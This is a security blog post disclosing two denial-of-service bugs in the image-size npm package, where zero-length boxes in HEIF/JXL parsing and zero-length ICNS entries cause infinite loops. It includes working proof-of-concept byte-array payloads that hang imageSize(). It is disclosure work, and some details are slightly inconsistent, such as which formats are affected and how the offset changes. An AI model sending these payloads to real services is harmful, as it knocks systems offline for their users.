Joshua Rogers' Scribbles

Two infinite loop / DoS vulnerabilities in image-size

While auditing some code to be used in my company’s product, I had to look at the codebase for image-size. This package can be used to determine the size of an image file, across a range of formats. Imagine for example you receive arbitrary image files from a user, and need to determine the size for whatever reason: this package is how you would do it.

During my audit, I discovered the following vulnerability. This vulnerability affects every version up to at least version 2.0.2 (it’s still unpatched).

Bug number 1

Similar to GHSA-m5qc-5hw7-8vg7, an infinite loop may occur when parsing HEIF and JP2 types.

Details

In the JXL image parsing code, a loop exists which depends on the incrementation of a JXL’s box size increasing. However, jxlpBox.size (for example) may be zero, resulting in the offset not being advanced, resulting in an infinite loop.

Consider:

export function findBox(
  input: Uint8Array,
  boxName: string,
  currentOffset: number,
) {
  while (currentOffset < input.length) {
    const box = readBox(input, currentOffset)
    if (!box) break
    if (box.name === boxName) return box     -----   [ returns box with box.size === 0 ]
[..]
  }
}

Now consider how findBox() is used in jxl parsing:

function extractPartialStreams(input: Uint8Array): Uint8Array[] {
  const partialStreams: Uint8Array[] = []
  let offset = 0
  while (offset < input.length) {
    const jxlpBox = findBox(input, 'jxlp', offset)
    if (!jxlpBox) break
    partialStreams.push(
      input.slice(jxlpBox.offset + 12, jxlpBox.offset + jxlpBox.size),
    )
    offset = jxlpBox.offset + jxlpBox.size  --------   [ jxlpBox.size === 0 ]
  }
  return partialStreams
}

The while (offset < input.length) loop will continue forever, as the offset will only be incremented by 1. The same issue exists in heif parsing.

Proof of Concept

An example PoC for the heif parser:

// mkdir 2.0.2
// cd 2.0.2/
// npm i image-size@2.0.2
const {imageSize} = require("image-size");

const PAYLOAD = new Uint8Array([
  // ftyp (size=16)
  0x00,0x00,0x00,0x10, 0x66,0x74,0x79,0x70,
  0x61,0x76,0x69,0x66, 0x00,0x00,0x00,0x00,
  // meta (size=36)
  0x00,0x00,0x00,0x24, 0x6D,0x65,0x74,0x61,
  0x00,0x00,0x00,0x00,
  // iprp (size=8)
  0x00,0x00,0x00,0x08, 0x69,0x70,0x72,0x70,
  // ipco (size=20)
  0x00,0x00,0x00,0x14, 0x69,0x70,0x63,0x6F,
  // ispe (size=0) + padding (16 bytes)
  0x00,0x00,0x00,0x00,  0x69,0x73,0x70,0x65,
  0x00,0x00,0x00,0x00,  0x00,0x00,0x00,0x00,
  0x00,0x00,0x00,0x00,  0x00,0x00,0x00,0x00,
]);

imageSize(PAYLOAD)

Impact

Infinite looping, resulting in Denial of Service.

Bug number 2

A similar infinite loop exists in the ICNS code path. This one was picked up by another user in this post, after I reported mine and submitted a patch to fix it. It’s the exact same type of bug:

// In dist/detector.cjs:252 the loop is:
//   while (imageOffset < fileLength && imageOffset < inputLength)
// It advances via `imageOffset += imageHeader[1]` (the entry length).
// A crafted entry with length 0 never advances imageOffset -> infinite loop (DoS).

const { imageSize } = require('image-size');

const malicious = new Uint8Array([
  0x69, 0x63, 0x6e, 0x73, // 'icns' magic bytes -> passes the ICNS signature check
  0x00, 0x00, 0x00, 0x10, // file length = 16 (big-endian) -> the loop's upper bound
  0x69, 0x73, 0x33, 0x32, // entry type 'is32' (a valid icon type)
  0x00, 0x00, 0x00, 0x00, // entry length = 0 -> imageOffset never advances -> infinite loop
]);

imageSize(malicious);